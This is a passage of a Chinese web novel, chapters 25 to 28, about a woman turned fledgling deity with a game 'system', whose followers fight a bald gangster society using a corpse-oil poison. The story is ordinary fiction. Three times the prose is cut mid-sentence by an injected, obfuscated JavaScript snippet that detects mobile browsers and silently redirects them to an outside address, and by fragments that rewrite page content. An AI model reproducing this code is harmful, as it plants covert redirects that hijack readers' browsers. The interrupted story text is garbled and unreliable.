166眼珠转了转，没有直接回答，而是卖了个关子。 都郁摸了摸下巴，作为务实主义者的她之前从没想过这个问题，但既然穿书这种离奇的事都发生了，自己还莫名其妙变成了个神，就必须要考虑这些玄之又玄的东西了。 166没给都郁留太多时间思考，自己揭示了答案：【灵魂，是灵体和□□的总和！□□有改变物质界的力量，灵体，也有改变灵界的力量——灵性。】 灵魂，是灵体和□□的总和。都郁咀嚼着166的这句话，简单，却让人有醍醐灌顶的感受。 她很快有了新的疑问：“那精神力呢？那——我呢？” 如果灵魂是灵体和□□的总和，那么穿越一个世界，进入别人身体的自己，会不会发生什么改变？或者说，我，还是我吗？ 166似乎知道都郁心中所想，一只鸽子脸上离奇地出现了郑重的神情，【咕，请玩家放心，玩家是特殊的！】 166语气非常笃定，但当都郁追问自己到底有什么特殊时，它开始顾左右而言他，解释起了精神力： 【□□无法干涉灵界，灵体也无法改变物质界，但精神力却不同，玩家在灵界也能使用精神力，因为——】 “因为【特质】？” 【真聪明！[特质]，或者更准确的说，构成[特质]的[要素]，是沟通物质界和灵界的桥梁。可惜大部分凡人觉醒特质后根本没有发现特质的真正含义，“超凡者”？不过一群拿着传国玉玺打弹弓的孩子。】 【而你——】 166的声音突兀地停住，沉寂已久的系统突然冒出，机械声里夹杂着狂热—— 【而你——我最亲爱的玩家，你已站在亿万凡人渴求的终点，你将走入那唯一的路，那是真正的超凡之路。】 【叮咚~玩家聆听[超凡之路]（部分），获得感悟，特质[？？？]融合速度加快】 【受未知气息影响，特质[？？？]觉醒方向发生改变】 【恭喜您解锁特质[？？？]（部分），获得技能：终末的残响】 【终末的残响：你能听到来自过去的残响，那是已走向毁灭的终末】 25. 主线任务 第二十五章 终末的残响？ 技能说明不清不楚的，都郁研究了半天，没搞明白后暂时将这个技能放在一边。总归是一件好事。 都郁感受了一下，虽然这具身体比不上前世，但已不再虚弱。精神空间的黑洞被补上后，精神力也没有不断流逝的感觉，穿越后整个人从没有这么强过。 虽然特质一栏还是三个问号，但都郁隐隐能感知到，等这个特质解锁，会比自己原来的A级特质更加强大。 一个碗突然伸到眼前。 都郁低头看了眼，有些无语地给他又添了一块肉。就这么一小会儿的功夫，这男人已经吃了快三十斤的肉了！ 怎么，他也有饕餮天赋不成？ 都郁心中嘟囔了一句，她虽然抠门，可这男人给自己送了一份大礼，普通的变异兽肉而已，他要多少就有多少。 可是他吃的速度太快了，两个人烤的还没有他吃的快，她实在是烤的有些烦了，索性用了刚领悟的一招，找到与田一诺相连的链接，弹了一道精神力过去。 “这样烤要烤到什么时候去？你去再支两个烧烤架，外放精神力烤肉，也算是锻炼了。” “啊，可是我不会……咦，我好像突然会了？” 田一诺张大嘴，呆呆地低头，只见手掌之间蒙上一层稀薄的金光，“好像神在我脑子里说了什么，我竟然会了！” 让一脸惊奇的田一诺去烤肉，都郁摸了摸下巴，打量眼前埋头吃烤肉皮的男人。 也许是吃了不少肉的原因，男人似乎没那么呆了。至少，吃肉时记得把碗留下来了。 都郁突然开口：“001？这是你的名字吗？” “……我、没有名……字。” 男人吃肉的动作顿了顿，眉头皱起，眼神有些痛苦，像是在竭力思考什么，可最后也没有得出答案。 没有名字？ 都郁面上不显，心里思索起来。神火点起后，她能看见16个信徒的所有信息，有的多有的少，可只有面前这个男人是个例外。 他连最基础的姓名一栏，都是“%*&#￥”这样的乱码，乱码浮现后闪烁许久，才像是让步一般被划掉，换成了另一个一看也不是真名的数字“001”。 系统连猫胡子的真名都搞到了，却查不出眼前这男人的信息，他到底什么来头？ 男人说完不知道后发了会呆，眼神迷茫，突然皱了皱鼻子，“不喜欢，001，名字。” “那你先叫小伊吧。” 都郁草率地命名，看男人没有异议地埋头吃饭，将怀疑压下。 虽然来历不明，但神火烧过后，小伊脚上的链子看似消失了，但只不过换了一种形式链接到了都郁身上。 她斟酌了一下，没有让这链子继续汲取小伊的灵性，却保留了对小伊的控制。都郁能感知到，以前的链子还只是限制小伊，到了她手里，这链子可以说完全掌控了小伊的生死。 她慈爱地看了眼发现链子消失，呆了一会就继续埋头吃肉的小伊。能吃是福啊，吃饱了才能更好的打工不是？ 【滴——】 系统突然在她眼前弹出光屏： 【神火已立，新生的神明已在荒原中立足，但凡人愚昧无知，未曾窥见神的荣光；迷雾深处的未知觊觎神的权能。想要登上神位，你还有很长的路要走。】 【玩家触发主线任务：星星之火】 【任务要求：神名传播度（103/10000）、拥有特殊建筑[祭坛·烛]、信徒数量（16/100）、主教（0/1）、特殊道具[六星圣杯]】 【任务奖励：[灵魂碎片·历史]修复珠*1、[未知]、[未知]、[未知]】 【任务失败结果：湮灭——你将与所有信仰你的人一同，走向彻底的终结】 主线任务？都郁的视线扫过任务要求，直直落在任务奖励上。 【灵魂碎片·历史】修复珠，即使系统没有说明，但都郁隐隐有直觉，这是用来修复那些在培养皿中的灵魂碎片的。 虽然培养皿有修复灵魂碎片的作用，但据都郁观察，这修复是长年累月的，非一时之功，即使是里面状态最好的碎片，目前也只能在短暂的清醒中传出模糊的意识而已。 至于都郁最在意的温玺，她的意识一次都没醒过来，166告诉都郁，温玺的灵魂是培养皿中受损最严重的，可能要花费十几年的功夫。 可即使这样，她也点亮了对都郁的信仰！她的信仰是信徒虔诚度里最高的“狂信徒”！ 都郁胸口一闷，心脏像有人拿着刮刀一层层往下刮，目光略过任务失败惩罚毫无波澜，她一定要完成任务，拿到那个灵魂温养珠。 166蹲在小伊的头顶，嫌弃地看了眼烤肉烤的手忙脚乱的田一诺，目光落在都郁身上时多了几分思考。 人还是那个吊儿郎当的样子，眼神却已经变了。 166很难形容出那种改变，硬要说的话，就像原本骑个自行车满地乱骑，骑到哪算哪的废土街溜子，突然有了目标，不知从哪掏出泥头车，以谁挡路创谁的架势轰隆隆朝着前方开去了。 【叮咚~玩家触发限时任务：救助信徒】 都郁倏然回神，点开了触发的新任务。 …… “卑鄙的光头客，净干偷袭的下三滥事，我呸！” 浑身被绷带包的只露出一张嘴的少女呸了一声，愤怒厌恶的语气突然软化，“团长，反正我也活不了了，我留在这断后，你们先走，你们在咱们团才能在。” “少说点吧你，我还没死，断后轮得到你？” 沈奚静装作凶狠地瞪了女孩一眼，迅速低头，不让她看见自己红了的眼睛，双手虚抚在女孩腿上，手指发抖。 绷带边缘处，黑棕色的脓液不断渗出，沈奚静脸色苍白，手掌释放出的粉红光芒游移不定，也只能勉强压制脓液。手掌刚一转移位置，脓液就加倍涌出。 “嗨，静静姐，你也知道，已经到流黑水的程度了，就算有蓝金在也活不了啦。” 女孩竭力乐观，说到最后尾音也免不了几丝颤抖，她指了指身后，声音苦涩：“倒不如让我们几个废人再为团里做点事，这是我们唯一能做的了。” 一行人现在躲藏在一座废弃仓库里，月亮好奇地在窗边窥视，高大的货架隐没在阴影里，遮住了众人的身形。 少女指向的身后，躺着两个同样浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409913|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绑满绷带的人。只不过女孩还能勉强站起，她们却只能僵硬地躺在阴影里，绷带吸满了腐臭的脓液，变得松垮。 “快，你们几个去那边找找，带着几个累赘，她们跑不远！” 远处的声音传入，特质是加强五感的女人微微转头，艰难地开口催促：“乐乐说的对，我们染上[黑死尸油]已经没救了。他们已经追上来了，团长，快做决定。” 一般情况下，当侵蚀进行到最后阶段，即使是圣心医院的医生，也束手无策。可她们之前…… 沈奚静嘴唇动了动，深吸一口气强行咽下，扭头看向身旁。 猫胡子此时是七八岁女童的模样，她看到沈奚静的眼神，没回应，郑重地看向重伤的团员，稚嫩的童声掩盖不了话语中的严肃： “如果现在有治愈尸油的机会，后果是可能是生不如死，你们愿意接受吗？” 治愈黑死尸油的机会？刚刚开口的女人迫不及待地开口，声音嘶哑：“团长，我们连黑死尸油都能熬这么久，还怕什么生不如死，你有什么办法直接说吧，失败了我们也不怪你，都是各自的命。” “对”“没错”，剩下两人也接连同意，这【黑死尸油】号称是用千年食尸鬼练成的，只需要一滴，就能让人体会到从身体内部开始，整个人被由内而外啃噬干净的痛苦。 即使在一众折磨人的酷刑中，喝【黑死尸油】也是能排入前三的，她们熬了这么久，已经是生不如死，还有什么好怕的？ “我说的方法，是向一个新的邪神祈祷。” 众人一静：…… 那是得好好考虑一下。 声音最年轻，被称为“乐乐”的女孩最先开口，她艰难地攥住沈奚静的手，像是做出什么决定，一字一顿地开口： “静静姐，告诉我祈祷词。如果我念完发生异变了，就把那群狗日的光头引来。” 听出女孩已经有了必死的决心，沈奚静心中一痛，对上一双冰冷中压抑着怒火的眼睛：“他们杀了姐姐，我一定要让他们付出代价！” 女孩身后的两人被猫胡子的话惊了一下，但随即也毫不犹豫地答应下来。 猫胡子告诉她们祈祷词，心知打动她们的不是治愈，而是变成被邪神侵袭的怪物后复仇，无助和挫败啃噬她的内心。 她知道向邪神祈祷无异于与虎谋皮，但因为她的失误，整个海盗团只逃出这么三个人，无论付出什么代价，她都要护住仅剩的团员。 “侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主……” 低沉的声音回荡在破旧的仓库中，猫胡子也随之在心底默念。她们三人因为实力不强，所以被安排留守。 而邪神往往偏好强大的灵魂，她在三人祈祷完毕后，在心里默念：如果伟大的聆听之主愿意救助被【黑死尸油】侵蚀的三人，她愿意在一周后献上自己的灵魂。 一道难以用语言描述的清脆铃声响起，猫胡子心知，神已许诺。 紫色火焰突然从三人身上冒出，脓液被烧的“滋滋”乱叫，却没有伤皮肤分毫。 火焰熊熊燃烧，鲜亮的紫色跳跃在昏暗的仓库中燃烧，点亮暗沉绝望的眼睛，那是希望之火。 26. 光头绅士会 “尸油，真、真的消失了，我竟然真的得救了。” 脓液被烧的干净，失去的力气好似回来了些许，乐飞游活动下身体，语气颇为欣喜。 一道陌生的声音幽幽出现：【当然，我还能骗你不成。】 那声音听起来像是出自年轻的女性，可一旦回想，那看似和蔼平常的声音下似乎潜藏着万千飞鸟振翅的簌簌声，“哗啦”一声盘踞大脑，全身奇痒无比，血液躁动倒流。 如果不是那位存在没有恶意，她可能听到那声音的一瞬就已死去。 乐飞游悚然一惊，大脑从喜悦中冷却，借着稀薄的月光打量她人脸色，她心底一沉，很显然，众人都听到了那句话。 更显而易见的是，刚刚的绝境逢生并不是奇迹，而是一场交易。神明慷慨地提前给于了礼物，现在该到她们了。 许是听到了她心中所想，那道声音继续开口：【上次的报酬还没给，这次的，你们又拿什么结？】 报酬？神明怎么可能会要报酬，那种伟大的存在怎么可能会在意身外之物？ 乐飞游大脑飞速运转，上次的也没给……是了，祂是在借报酬来点我们，团长上次就没给报酬……祂这句话是在表达对团长的不满！ 惹怒一位邪神，下场自然是凄惨的。可想要喂饱一个邪神，就算实力足够，良心也过不去啊……团长已经逾期过一次了，这次请动那位存在，不知又会付出什么代价…… 感受着身体渐渐复苏，乐飞游内心百感交集，她突然伸手，拽住猫胡子，声音微微颤抖：“团长，不如这次，代价就让我来付……” 猫胡子听见那道声音微微一愣。梦境破碎后她们自己受骗，没心情做任务，直接返回了城市。 却没想到自己位于下城区的老家被人端了，她仓促之下连夜转移了几批俘虏，一时竟腾不出手准备聆听之主的报酬。 不过祂虽然在催，但语气似乎并没有生气？看来这位似乎脾气还行…… “你个小孩子插什么话？” 蔡春玉啪地打掉了乐飞游的手，眼睛微眯，流露出几分凶悍：“就按上次的单子来可以吗？请您给我们三天时间，到时候单子上的东西我们会准备三倍献给您。” 蔡春玉咬着牙，绷着的肌肉在听到一声“可以”后松了下来，又再度绷紧：“我无能，如果您能帮助我消灭绅士会那群杂碎，在不危及他人的情况下，我愿意付出任何代价。” “老菜！” “蔡姐！” “不可以！” 蔡春玉的话说出，众人皆惊，劝阻的话纷纷说出口，其中实力最强的猫胡子表现得最激烈，看上去恨不得跳起来打蔡春玉的膝盖。 若是意外被邪神关注也就罢了，和邪神做交易的，可从来都没有一个好结果的！ 怕惹怒了正在注视的那位，很多劝阻的话被咽了下去，猫胡子揪住蔡春玉的衣角，刚要张口却被蔡春玉抢了先： “我没疯，事情不可能这么巧，我们刚出事绅士会就闻到了味道，他们背后一定站着夸克，如果不借助外援，我们怎么可能给姐妹们复仇？” 听到“夸克”两字，猫胡子眼皮抖了一下，但攥住蔡春玉衣角的手依旧没有放下。 蔡春玉见状叹了口气，突然伸手大逆不道地揉了揉猫胡子的头发，“你生气什么？只许你付出，不许我付出？” 团里剩下的人里，她年纪最大，特质普通，等级也不算高，她是最适合试探那个邪神底线的人选。 更何况，要是那个传说是真的……算了，没什么把握的事，先别对大家提了。 蔡春玉安抚完队友，那位存在似乎看够戏了，突然开口：【我要什么都可以？】 “当然，”蔡春玉深吸一口气，“只要不伤害其他人。” 众人都能听出蔡春玉的言下之意——不伤害其他人，但是可以伤害自己。就算这位真的需要人类献祭的，一个B级异能者，数量虽然少了一点，但也不算拿不出手。 都郁也能听出老菜的暗示，但她向左瞥了眼烤肉险些把自己手烤了的田一诺，向右看了眼已经快吃下四个自己体重烤肉，依旧喊饿的小伊，发出一声只有自己能听见的叹息。 她要人干啥？是还嫌神国不够热闹，再来几个卧龙凤雏给自己添点堵吗？ 蔡春玉说完，对面久久没有回答，她正担心是不是自己的态度激怒了对方，就听见那位存在似乎轻笑了一声： 【我的神国可不是谁都能进的，那边那只小猫咪来也不行。】 蔡春玉心一沉，那位女神似乎欣赏够了众人的绝望，于不可知的虚空幽幽开口： 【新人有优惠价，之后献祭一枚要素核心，换我出手一次。】 要素核心，这可是上层那些财阀都在追求的东西！但众人闻言皆是松了一口气。 不怕那位女神胃口大，怕就怕在她不肯开价，累计到最后要拿命来填。 如今她肯开价，自然一切都好说。尤其是蔡春玉，放松的同时，目光盯住即将靠近的敌人，眼里闪过一丝杀意。 她们的存货不多，可那群光头佬天天舔上层的屁股，手中的存货怎么也比她们多吧？全抢来，也不知道能换那位出手几次…… “都搜查得仔细些！这里有神油的味道，她们肯定来过这里！找到她们的踪迹，老大可是大大有赏！” 这仓库属于某个破产的小公司，没人记得主人是谁，自然也没人记得密码，阿莉娅索性一枪崩掉了密码锁。这却也方便了敌人。 一人直接踹开虚掩着的仓库门，让到一边，二十几个人鱼贯进入这件陈旧的仓库。他们穿着类似，都十分讲究。 黑西装黑西裤，白衬衫，棕色皮鞋。西装里露出的洁白衬衫领口各不相同，但都在右领别了一个戴礼帽，叼着烟斗的男人徽章。 然而他们这样打扮，却丝毫没有优雅矜持的气质。盖因他们身高接近，全都在两米之上，强健的肌肉将布料崩到了极致，有人露出的皮肤上还隐隐有金属色泽。 更为突兀的是，这群穿着好像要去参加舞会的壮汉全都留着光头，光滑的头皮上连个发茬都没有，看上去分为奇怪。 这群怪人听到吩咐，自动分成几组，拿着一个类似吸尘器的装置，小心细致地扫过仓库的每一寸地面。 领头的人叼着电子烟，似乎对下属的搜查结果漠不关心，饶有兴致地逗着脚边的蟑螂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426627|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那爬虫似乎在这无人的空间潇洒惯了，碰到这么大动静也不跑，迷茫地动了动须须，男人踢一脚改一个方向，爬几步就不动，又挨了一脚才象征性地爬了几步。 “嘿，你看这臭虫。” 男人乐了，转头看向身边唯一一个穿着不同的女人，“黎博士，这些虫子最爱爬了，现在却爬不动了，你读的书多，你给兄弟们说说这是啥原理？” 被称为黎博士的女人穿着一件米色风衣，同色西裤，黑色尖头皮鞋。她脸上带着白色口罩，眼睛一只蓝，一只玻璃珠质地，短发堪堪遮耳。 但仔细看，能看出那些柔顺轻盈的发丝并不是人类毛发，而是一根根极细的数据线，末端偶尔闪过几道电弧。 听到男人的话，女人眼睫都没有颤动一下，琉璃珠一样的眼睛快速扫描过仓库，发尾反翘又落下，淡淡道：“不是这里。” 说罢，被称为黎博士的女人竟丝毫没理会男人的提问，单手插兜，径自转身离开。 一旁的下属都惊了，愤愤不平地说：“奎爷，这娘们也太不给你面子了吧！” “呵哈。” 额头正中有一道横疤的光头男人惊愕后，笑着踩死那只无精打采的蟑螂，“你说，我踩死这只蟑螂，需要通知它吗？人家上层的，来我们这破地都不用自己的身体！” “不用自己的身体？” 小弟惊骇地睁大眼，还想再问，不远处挨个搜查货架的人有了收获，“奎爷，这里有病猫的尸体，估计是神油发作没挺过来。” 这样的尸体一路上众人见的多了，男人在地上蹭蹭鞋底，不怎么在意，“回收完神油就炸了！” “是！” 那尸体浑身流脓，整个人被浸泡得不成样子，肌肉鼓起，皮肤变得透明，看上去不像是刚死的尸体。 绅士会一行人却做的非常熟练，带着手套小心地刮下尸体上的脓液，在吸尘器一样的机器上按了一下，中部露出一个小口，小心翼翼将脓液刮到里面。 仪器中间有一个带刻度的光条，脓液刮进后光标上升了些许，光头正欲再挖，机器突然“滴滴”警报，光条迅速变成红色，他面色大变，正要站起身。 “轰”的一声，那本毫无生气的尸体上，脸部突然浮现一个诡异的微笑，随后整具尸体迅速膨胀，像是一个被吹到极限的气球，“嘭”得炸开，黑色血肉飞溅，一下掀飞了周围的六个光头！ “啊啊啊啊！” 尸体旁边的六人被炸飞，惨叫出声，都受了不同程度的伤。刚刚刮脓液的伤的最重，大半身体已被炸飞，头颅还在痛苦尖叫，充血的眼珠四处转，才发现自己原来已经死了，身体抽搐了一下，最后的一口气散了。 诡异的是，这杀伤力如此巨大，一举重创了六个壮汉的爆炸，竟连破烂仓库的一块瓷砖都没有破坏。配上在地上痛苦哀嚎的五个光头，这情景分外诡异。 那领头的光头却像看到什么有意思的事，摸了摸光头，笑了： “病猫团的噩梦想象家？你染上神油了竟然还没死？” 男人话音落下，刚还在地上哀嚎的光头，除了那个瞪大眼睛死去的，竟全都毫发无伤的站了起来！ 27. 三手魔术 “啧，怕死的怂货。” 光头男嫌弃地看了眼残缺的尸体，对其他五个讪讪站起身的光头也没有好脸色，挑眉看向地上四分五裂的“尸体”，语气倒是和蔼了不少： “倒是我看走眼了，没想到你连神油的气息都能模拟出来，待在病猫那倒是委屈你了，其他人必须死，你要是愿意投降……” “呸！” 那地上的头颅滚动了几圈，死不瞑目的眼正对着光头男，竟直接开口骂了起来：“我才不跟你们这些站着撒尿的人混在一起，平白弄湿了我的鞋！” “呵。” 被人劈头盖脸骂了一句，光头男竟也没生气，他笑着吸了最后一口电子烟，没见他怎么动手，那群光头西装男脚下竟都多了一个黑箱子。 像是演练过上千次一样，他们两人一组，一人打开箱子取出其中物品，一人将手中仪器放入箱内。整套动作不过数秒就已完成，下一秒—— “哒哒哒哒！” 枪口喷出大团火光，子弹如不要钱般疯狂倾斜而出，满地砖瓦碎石乱溅，不用说地上的古怪尸块，整间仓库都快被枪林弹雨打得粉碎。 枪声整整持续了十分钟之久，烟尘散去之后，整间仓库顿时一览无余，排列得整整齐齐的货架碎成了渣，仓库里也只剩下了残渣。 “没染上神油，算你好运，也算你倒霉。” 持枪的人不动，剩下的一半细致地检查过仓库的废墟，冲门口的光头摇了摇头。 “走了。” 男人装模作样的挥挥手，转身穿过门的一瞬间，突然抢过身旁人的机枪，猛地扭身对准空无一物的身后按动扳机，直将所有子弹打完才松手。 烟尘落下，子弹轰炸的区域除了更破烂外没有任何异样，光头男却没放下枪，笑呵呵开口，声音微冷：“还不出来吗？三手魔术师？” 光头枪指的那块角落，空间突然扭曲起来，没等他再开枪，一张透明扭曲的大布迎面兜来，带起呜呜疾风！ 光头却不闪不避，只小心从胸前口袋中取出一个胶囊，拧了一下直接甩到透明光布中。 “滋。” 胶囊撞到光布，其中装着的一滴极粘稠的黑液渗出，在光布上染了一个指甲盖大的小黑点，如墨点滴入清水，那黑点迅速扩散，不过几秒就将透明布料染黑，在阵阵的腐蚀白烟中如破布悠悠落地。 光头小心避，让下属将破布装到一个罐中，边转身边鼓掌：“一个白日造梦，一个三手做假，再加上一日瞬移三米的朋友，谢谢病猫团的魔术表演，兄弟们，精不精彩？” 众光头哄笑，只有一个头顶有三道血痕的光头讪笑着退后一步，一道模糊的身影突然浮现，手中机枪枪口火光喷吐，轰然炸掉男人半个脑袋！ “啊啊啊啊！” 男人脑袋都被炸掉一半，骇得双手捂住头在地上打滚，血如喷泉般涌出，眼见他全身抽搐几下，脸色青白，却被人直接抽了一巴掌。 “你摸摸你的头，看看还在不在？” 那声音不过普通音量，落入耳中却宛如雷鸣，男人眼神上翻，捂住伤口的手指动了动，竟像是被什么顶起来般向外悬浮，直到弯成弧形，手下软绵绵的触感陡然变硬。 “……我，我的头还在，我没死，我还活着！” 一道冷哼出现在不远处，刀光一闪，一柄三米长的大刀凭空出现，刀锋泛着寒光，径自斩向地上的男人！ 光头突然出现在男人身后，那狰狞的刀凶狠斩下，却在触及皮肤的一瞬软了下去，整把刀都变得虚幻，抖动了几下后缓缓消失。 “呵呵，谁会在现实里做梦？乐小姐，不如我们直接来谈谈吧。” “呸！” 仓库一角，一张透明的光布被接下，露出三道身影，乐飞游死死瞪着地上躺着的男人，脸气皱成一团：“江口一也！没想到你竟然就是那个叛徒！你难道忘了，你腿断了后是全团一起筹钱给你买的义体吗？” “病猫团都要解散了，聪明人当然要跳槽了。只要是侵蚀者，我绅士会来者不拒，乐小姐要不要考虑考虑？” 男人说的客气，可自三人露出行迹后，所有光头的枪口都已对准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451126|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她们，离得近的手指甚至都已经扣在了扳机上。 江口一也心虚地移开眼，白着脸躲在领队光头身后，看的乐飞游火气更大。 她们的特质，虽然都不属于战斗类的，但冷不丁也能偷袭成功，不然团长也不会放心让她们守家。 可这光头会偷袭时，就像是提前知道了她们的特质，猝不及防下吃了个大亏，这才连基地都没守住。如今看见站在对面的江口一也，她还有什么不明白的？！ “呵，加入就不必了。背叛朋友的垃圾，撕毁契约偷袭的小人，这么般配的组合哪里有我们加入的位置。” “砰！” 光头男用手比了一个枪，对着乐飞游晃了一下，没见子弹，乐飞游冷哼一声，左腿膝盖炸出一个血洞，膝盖一软又被她强行撑住。 “倒是个硬骨头，可惜，我再给你们最后一次机会……” “奎老二，何必假惺惺的？” 两手扶着乐飞游的许寻源眼里怒气闪过，腰后第三只手一晃，一张扑克牌唰地钉住一只不起眼的小虫！ “倒是有几分敏锐。” 胡天奎赞叹了一声，却是让持枪包围三人的下属退后，自己也退到仓库外，“不过这点距离对神油来说已经够了，只要呼吸进一点点，结果就已经注定了。” 确认三人已经失去自爆的时机，胡天奎难得没有假笑，嘴角的弧度不断加大：“不管你们拖延时间是在等什么，都已经来不及了！没有人，能沾神油而不死！” “哦，是吗？” 乐飞游露出一个恶意满满的笑容，抬起泛着乌光的手指，屈膝蹲下，一把捏住不断振翅的黑虫，手指用力直接捏出黑浆！ 胡天奎笑容停在脸上，惊疑不定地看着乐飞游的动作，正疑心她是不是疯了，突觉不对，这么近的距离下，她竟然没感染！ “神油怎么可能失效？” 胡天奎眼睛瞪大，正疑心是不是自己进入了梦境，身后突然传出那道他下辈子都能记住的声音： “尸油罢了，怎么配得上''神''这个字？” 28. 图鉴解锁 在猫胡子一行人讨论战术时，都郁正蹲在神国里研究神火捡回来的垃圾……不，战利品。 这次紫火烧完对面后，没有像之前那样带回来能量，回归后多了一条手掌宽，紫黑色，比起火焰更像吸饱了水的海绵的古怪火焰。 都郁若有所感，掏出一个石碗接在下面，那簇奇怪的火焰从底部开始内卷，一缕缕黑气溢出，落到碗里凝聚成液体。等紫火重新恢复原来的颜色，黑水刚刚没过碗底。 这黑水经过紫火的焚烧，没有之前“看”到的那样邪异污浊，黑得非常纯粹。 硬要都郁比喻的话，就是从五彩斑斓的黑，变成了纯粹的黑。 “这东西有什么用？” 完成了任务的紫火自己回到了祭坛中央，都郁端起碗，闻了闻后面露嫌弃。 虽然她不怎么挑食，可这玩意儿的名字里有“尸油”两个字，让都郁难得的一点食欲都没有。 【叮咚~恭喜玩家解锁功能[图鉴]】 作为一个合格的骗钱小游戏，怎么能缺了图鉴这种又骗肝又骗氪的功能？ 看着桌面右侧多了的【图鉴】图标，都郁心里突然涌出不祥的预感，点开的一瞬，都郁的预感成了真—— 这游戏的图鉴做成了摊开的书的样子，书的左侧像目录一样竖着列了九个图标，相同颜色的图标都三个，颜色依次是黑、银、紫。点击图标右侧会跳转不同的界面。看着倒是非常简洁，只是里面的内容—— 【要素图鉴·收集度（0.5/9）】 黑色图标： 【？？（未解锁）】 【？？（解锁中，解锁进度：0.00001/1）】 【？？（解锁中，解锁进度：0.5/1）】 银色图标： 【命运（解锁中，解锁进度：0.01/1）】 【？？（未解锁）】 【？？（解锁中，解锁进度：0.00002/1）】 紫色图标： 【？？（解锁中，解锁进度：1/6）】 【？？（沉睡中）】 【？？（解锁中，解锁进度：0.4/1）】 都郁险些被这破系统气死，一共九个图标，除了【命运】外，全都是问号！干脆这系统改名为问号系统算了。 图鉴中，第二个黑色图标上有个红点，都郁点开，心里的无语放到最大。 图标点开后，图鉴右侧出现了许多灰色的格子，只有第一个格子亮起了一半，像素风的图片看着有点像一个盛了黑水的石碗。 都郁试着点了下石碗，跳出一个“样本数量不足，无法解析”的弹窗，顿感无语。 这是什么图鉴，这明明是异世界的逼氪啊！想要信息吗，想解锁图鉴吗，那就充钱。 【咕，图鉴每解锁1/9，都会有超豪华大礼包的！】 166见都郁似笑非笑地盯着自己看，吓得脖子上的毛都炸了起来，飞到都郁肩膀上，锤肩似的敲了敲： 【相信我，奖励一定会是玩家最渴望的东西。】 166这话说了跟没说一样，这满屏的问号就是满屏的饼，看了心烦，但又不能不看。 这九个图标应该就是超凡领域的九大上位要素了，所有异能者的特质都离不开这些要素。不过，图标上的颜色是什么意思？ 黑色，银色……都郁看着和自己发色如出一辙的紫色，这肯定不会是巧合，但为什么是这三个颜色？ 现在的信息太少，无法分析，都郁将疑问按在心里，晃了晃碗中浅浅一层的黑色液体，花了一点信仰点给猫胡子传了一句意念：解决黑死尸油不用要素核心，用清单上的物品就行。 猫胡子收到神谕后精神一振。她已经和留守的三人短暂地交流过信息，她们之所以这么狼狈，原因有二。 一是团里有了内奸，趁她们海盗团主力不在的时候偷袭，二就是她们不知从哪里搞来了大量的黑死尸油。 黑死尸油这东西，只需要粘上一点，就能让异能者不可逆地堕落成怪物。好在这玩意虽然无解，但是非常罕见，只会出现在五环外的迷雾中，普通的迷雾猎人可能一辈子都不知道这邪门的玩意。 可这东西光头会竟然不知从哪搞来了大量的黑死尸油，猝不及防之下她们吃了大亏。 即使她们现在已经回来了，面对光头会也必须非常谨慎，务必不能沾上丁点尸油。 有了聆听之主的这道神谕，之后在战斗中她们可以稍稍放心了。除此之外，除了那张搞笑一样的单子，她们也终于知道了那位伟大的存在对什么东西感兴趣。 活的久的迷雾猎人之间流传着一个小道消息：邪神之间也是会互相吞噬的。 如果那位存在发展信徒的目的是为了吞噬别的邪神，这对她们来说算得上一个好消息。 收敛杂念，猫胡子将这道神谕传给其他人，有了神明的许诺，她们的战术可以再激进一点了。 …… “那是伟大的【棺中冢】赐下的神油，不允许你这样亵渎！” 被枪指着脑袋都没变色的胡天奎，听到“尸油”两字后冷笑一声，没理身后，看着前面出现的人，嘴角的笑容阴阳怪气：“病猫，你竟然没死？胡子都快揪光了吧？” “果然那个任务也有你们的手脚。” 小孩阴着脸，她已经和乐飞游她们对过时间线，就算有叛徒通风报信，光头会的人也来的太快了，快得就像提前准备好了一切，就等她们出发一样。 “呵，要怪，就怪你们得罪了不该得罪的人。” 胡天奎冷笑一声，“其实，死在梦里，对你们来说反而是一件好事。” “光头会什么时候变成了夸克的狗？他们能给你什么好处？” 猫胡子是真的不明白。虽然下层大多数迷雾猎人都是混口饭吃，但到了他们这种实力层次，如果真想加入财阀，早就加了。何必在下城区受苦？ “凡人怎么敢妄加揣测神的意志？” 胡天奎笑着抬手，反手捏住阿莉娅的枪口，“嘭”的一声，子弹穿过他的眉心，溅起的却不是红血，而是黑色脓液！ 胡天奎眉心的伤口中，灰褐色的血肉蠕动，非但没有愈合，反而将伤口撕扯得更大，一股股黑色脓液不断中涌出，空气里弥漫开尸体腐烂般的恶臭。 “动手！” 两道命令声几乎同时说出口。 